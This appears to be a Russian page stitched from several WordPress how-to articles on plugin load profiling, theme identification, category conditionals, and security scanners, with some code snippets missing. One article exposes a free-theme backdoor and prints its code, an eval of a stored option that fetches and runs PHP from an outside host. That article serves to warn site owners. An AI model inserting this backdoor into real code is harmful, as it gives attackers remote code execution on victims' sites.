Проверка темы wordpress. Вредоносный код. Проверяем обрабатываемый HTML-код

Вы узнаете, как проверить нагрузку установленных на сайт WordPress . С помощью этого способа, можно определить, какой именно плагин дает большую нагрузку на сайт, после чего этот плагин можно удалить, либо заменить каким-то другим.

Был у меня случай, когда один плагин давал большую нагрузку на сервер, что и блог переставал работать. Мне хостер выслал письмо с предупреждением, чтобы я позаботился о снижении нагрузки, и как бы невзначай предложил перейти на более дорогой тариф, который с этой нагрузкой легко справится. На тот момент у меня был хостинг «Sprithost ». Ох, и намучился я на этом хостинге.

Я написал в службу поддержки «Sprithost », чтобы мне помогли решить эту проблему. Мне посоветовали установить «WP Super Cache ». Да, нагрузка на сервер действительно уменьшилась, но этого было не достаточно. Блог иногда все равно был не доступен. Проблему эту я решил достаточно просто. Я перешел на другой хостинг, после чего все нагрузки исчезли.

Итак, перейдем к делу. Как бы это парадоксально не звучало, но проверять нагрузку плагинов, мы будем с помощью плагина «».

Плагин «P3 - Plugin Performance Profiler» - проверка нагрузки плагинов на сайт WordPress

Скачать плагин можно по этой ссылке . После установки и активации плагина, можно кликнуть по ссылке «Scan Now », которая находится под названием самого плагина, или перейти в «Инструменты », а потом нажать «P3 Plugin Profiler ».

Теперь Вы можете сделать сканирование всех установленных плагинов на Вашем сайте. Жмите «Start Scan ». Появится окошко, где Вы можете выбрать автоматическое сканирование (Auto Scan ), или ручное сканирование (Manual Scan ). В поле «Scan name », можно дать название этому сканированию, например, написать дату.

Если выбрать автоматическое сканирование (Auto Scan ), тогда плагин «P3 - Plugin Performance Profiler » будет автоматически сканировать определенные страницы и папки на сайте. По какому принципу он сканирует - тяжело сказать, но ждать мне приходится около 10 минут. Готовый результат, можно посмотреть, если нажать кнопу «View Results ». Появится такой график:

График разбит на части разного цвета. Каждый цвет относится к определенному плагину, например, синий цвет к плагин «WPtouch Mobile Plugin ». У Вас этот цвет может относиться совершенно к другому плагину.

Правее от графика, можно посмотреть, какой цвет к какому плагину относится. Также, если подвести курсор мыши на сам график, к определенному цвету, то Вы тоже увидите, к какому плагину относится цвет.

В моем случае, наибольшую нагрузку дает плагин «Pretty Link Lite », о котором я недавно писал. Можете почитать « »

В режиме ручного сканирования, можно отсканировать любую страницу сайте. Нажмите «Start Scan », а потом «Manual Scan ». Кликните по странице, которую собираетесь отсканировать, а потом внизу нажмите «I"m Done ».

Готовые результаты можно отправить на свой E-mail , для этого надо кликнуть внизу по ссылке «Email these results ».

Выше над графиком можно посмотреть количество установленных плагинов на Вашем сайте, время загрузки плагина, время загрузки страницы и запросы к базе данных MySQL. Там же можно посмотреть историю сканирования (History ), и получить помощь (Help ).

____________________________
К уроку 198.

Вас когда-то интересовало, какую тему оформления использует тот или иной сайт?

Часто в поисках идеальной темы мы смотрим на уже другие реализованные проекты, чтобы найти что-то похожее или сделать свой сайт на такой же теме, только со своим индивидуальным оформлением.

В этом уроке мы покажем, какие инструменты и трюки можно применить, чтобы узнать, какую тему оформления использует этот сайт на WordPress.

Способ 1. Сайт проверки IsItWP

Самый простой способ - это зайти на isitwp.com и проверить там сайт, который вас интересует.

Это онлайн-инструмент, который покажет вам, какую тему использует WordPress, и используется ли вообще WordPress на этом сайте.

Если на сайте стоит WordPress, IsItWP попытается узнать имя текущей темы оформления.

Также он попытается узнать, какие активные плагины используются на сайте:

Если вам повезло, и это не кастомная или дочерняя тема, то IsItWP выдаст ее название, и дальше вы можете найти эту тему в поисковиках.

Способ 2. Определяем вручную

Иногда владельцы сайта или разработчики меняют название родной WordPress темы. В таком случае инструменты вроде IsItWP не смогут вам помочь.

Но даже если так, в коде сайта все равно могут остаться разные подсказки, которые помогут вычислить, что же за тема установлена.

Давайте посмотрим.

Каждая тема оформления WordPress обязана иметь файл style.css . Этот файл содержит внутри заголовок (header), в котором, как правило, указано имя темы, автор темы, версия и сайт-разработчик темы. Также там указываются другие шаблоны css-стилей, которые использует тема.

Чтобы найти этот файл, для начала нужно зайти на сам сайт. Кликните правой кнопкой где-то на главной странице и перейдите к просмотру исходного кода (View Page Source ).

В браузере в новой вкладке откроется исходный код главной страницы сайта.

Теперь вам нужно найти строчку кода, которая выглядит примерно так:

Чтобы облегчить задачу, можно выполнить Поиск по этой вкладке с кодом по фрагменту "themes ". Это часть из директории, где лежит style.css .

Таким образом вы найдете путь, по которому лежит файл style.css, и сможете открыть этот файл прямо в браузере в новой вкладке.

В верхней части style.css будет находиться шапка с заголовком (о котором мы говорили выше). Это сервисная информация о теме оформления. Выглядит это примерно так:

/* Theme Name: Theme Name Theme URI: https://example.com Author: ThemeAuthorName Author URI: https://example.com Description: My Theme is a flexible WordPress theme designed for portfolio websites Version: 1.1.47 License: GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Text Domain: hestia Tags: blog, custom-logo, portfolio, e-commerce, rtl-language-support, post-formats, grid-layout, one-column, two-columns, custom-background, custom-colors, custom-header, custom-menu, featured-image-header, featured-images, flexible-header, full-width-template, sticky-post, theme-options, threaded-comments, translation-ready */

Из этого блока вы сможете узнать название темы и адрес разработчика. Дальше остается только найти эту тему в интернете.

Способ 3. Как найти родительскую тему

Многие сайты используют дочерние темы для пользовательской настройки оформления. И это вполне правильный подход.

В таком случае, если вы отыскали файл style.css от дочерней темы, в его шапке будет указана информация о родительской теме:

/* Theme Name: My Child Theme Description: Just a child theme Author: Peter Smith Author URL: Write here the author"s blog or website url Template: hestia Version: 1.0 License: GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Text Domain: my-child-theme */

В примере выше на родительскую тему указывает параметр "Template ", то есть для этой дочерней темы используется родительская тема "Hestia".

Также о родительской теме можно узнать из исходного кода, описанного в Способе 2. В коде вы найдете отсылку к файлу style.css не только от дочерней темы, но и от родительской темы.

Но не забывайте, что разработчик мог постараться и изменить все заголовки для style.css на свои, в таком случае определить оригинал темы будет очень сложно.

Представим, что Вы выводите записи и нужно изменить внешний вид в зависимости от рубрики. Например, у Вас есть блок "ОБ АВТОРЕ" который выводит информацию об авторе статьи, но вы не хотите видеть этот блок например под записями из рубрики в которой это не нужно. Так же можно отключать комментирование в определенных рубриках, вывод миниатюр и тд. Все зависит от Ваших нужд и фантазий. Лично я очень часто пользуюсь таким условием.

Чтобы отфильтровать записи в зависимости от рубрики поможет функция - in_category() . Данная функция делает проверку на то принадлежит ли текущая или заданная запись к нужной рубрике, ну или нескольким рубрикам. Чаще всего данная функция выводится в файле single.php , потому как он и отвечает за вывод записей.

Простейший способ использования функции, будет выглядеть примерно следующим образом. Добавляем данный код в файл single.php, при необходимости заключаем в PHP теги.

PHP теги выглядят так:

Если у Вас в теме используется в основном HTML код, то вставляйте код приведенный ниже без изменений. Если используется в основном PHP, то теги в которые заключен код можно удалить.

В данном коде мы задали условие, что если текущая запись принадлежит к рубрике с ID - 12, то нужно что-то вывести. То что хотите, добавляете внутрь фигурных скобок. Это должен быть PHP код, если это сложно и нужно добавить HTML код, то разорвите код теми же PHP тегами и код станет таким:

//сюда пишем обычный HTML код или просто текст.

Чтобы определить айди рубрик, нужно в админке перейти в список рубрик и навести курсором на нужную. Внизу окна браузера с правой стороны появится ссылка внутри которой будет что-то типа ID=1, то есть айди этой рубрики 1.

Если Вам нужно указать несколько рубрик, то укажите их через запятую. Так же Вам может быть нужно создать условие "ЕСЛИ - ТО", тогда код будет примерно таким:

Представьте, что Вам нужно выводить в рубрике 12 миниатюру записи, а в остальных записях из других рубрик - первую картинку из текста. Такое бывает и как это сделать? С помощью приведенного кода Выше. Про вывод первого изображения из записи можно прочитать в статье -

Теперь хочу показать еще одну возможность, которую можно добавить к данной функции. Так бывает что у рубрик есть подрубрики, то есть дочерние категории. И если запись принадлежит к одной из подрубрик, то условие обойдет ее. Если Вам это и нужно, то можете ничего не трогать, но вот если, все же условие должно работать и на подрубрики, то нужно добавить к условию дополнение. Для начала в само условие нужно добавить такую часть - || post_is_in_descendant_category(12) . Это вызов нашей новой функции, которая будет осуществлять проверку по подрубрикам. Готовый код станет таким:

Чтобы новая функция начала работать, нужно добавить сам код этой функции, то есть ее нужно написать. Для этого, найдите в папке с активной темой файл function.php , в котором находятся пользовательские функции. Добавлять код, если вы не знакомы с PHP, нужно в самый конец файла, но если там есть закрывающий PHP тег - ?> , то добавлять нужно перед ним. Сам код выглядит так:

Function post_is_in_descendant_category($cats, $_post = null) { foreach ((array) $cats as $cat) { // get_term_children() accepts integer ID only $descendants = get_term_children((int) $cat, "category"); if ($descendants && in_category($descendants, $_post)) return true; } return false; }

Если все сделано правильно, то ваше условие будет отбирать записи по определенным рубрикам и их подрубрикам.

Давненько начал писать данную статью, да все руки не доходили закончить, то одно, то второе перебивало. Наконец-то статья окончена и возможно многим поможет решить вопрос.

На этом все, спасибо за внимание. 🙂

Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

Вот и я так думал. Не хотел бы вас расстраивать, но…

Скрытый опасный код в бесплатных шаблонах WordPress

Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

И вот что они мне ответили

Пошел гуглить инфу о данном коде и серьезно задумался…

Как найти фрагмент вредоносного кода в шаблоне

Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

add_filter(‘the_content’, ‘_bloginfo’, 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
return $co;
} else return $content;
}

Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

Какая красота! Мы видим следующую опцию


return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

Мораль про бесплатный сыр

Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )

Часто наши пользователи задают вопрос, существует ли способ проверить свой сайт на WordPress на наличие потенциально опасного кода. Ответ на этот вопрос: ДА, ДА и еще раз ДА. Существуют как платные так и бесплатные инструменты для сканирования вашего сайта WordPress на наличие потенциально опасного или нежелательного кода. Всегда полезно делать регулярные проверки вашего сайта путем сканирования на вредоносный код. В этой статье мы покажем вам несколько способов сканирования ваш сайт на WordPress на потенциально опасный код.

Theme Authenticity Checker (TAC)

Theme Authenticity Checker — это бесплатный плагин, который проверит все ваши темы WordPress на наличие потенциально опасного или нежелательного кода.

Часто взломщики ставят целью взлом именно тем с целью внедрения туда ссылок, поэтому плагин — это замечательный способ проверки на их наличие.

Exploit Scanner

Exploit Scanner — другой бесплатный плагин WordPress, более мощный нежели Theme Authenticity Checker, так как позволяет осуществлять поиск вредоносного кода по всем файлам и базе данных вашей копии WordPress. Он ищет сигнатуры, соответствующие вредоносному коду и выявляет их.
Примечание: возможно определенное количество ложных срабатываний, поэтому необходимо понимать что вы делаете, и определить действительно ли это вредонос или же всё в порядке.

Sucuri

Sucuri — один из САМЫХ лучших сканеров безопасности для WordPress вообще. У них есть простой бесплатный сканер сайтов, который проверяет ваш ресурс на предмет все ли с ним в порядке. Однако платная версия намного превосходит фри по своим возможностям. Вкратце, после того, как вы установите Sucuri, он автоматически мониторит ваш сайт 24 часа в сутки 7 дней в неделю на предмет вредоносных скриптов. Он проводит аудит активности на всем сайте, чтобы вовремя сообщить, если что-либо пойдет не так. Если что-то кажется подозрительным, Sucuri блокирует IP. Также плагин отправляет вам уведомление, если на сайте начинается какая-то подозрительная активность. И, наконец, плагин предлагает чистку от вредоносного кода, и эта услуга включена в цену сервиса (вне зависимости от того, большой ваш сайт или маленький).

Для наших проектов мы выбрали тариф для 5 сайтов, что обходится около $3 за сайт в месяц. Имеет смысл заплатить $3 в месяц и не беспокоится о безопасности сайта.

Кстати, сервис не только для новичков. Большие издательства типа CNN, USAToday, PC World, TechCrunch, TheNextWeb и другие пользуются услугами Sucuri. Эти парни знают, что делают, и поэтому люди доверяют им свои сайты.

По всем вопросам и отзывам просьба писать в комментарии ниже.

Не забывайте, по возможности, оценивать понравившиеся записи количеством звездочек на ваше усмотрение.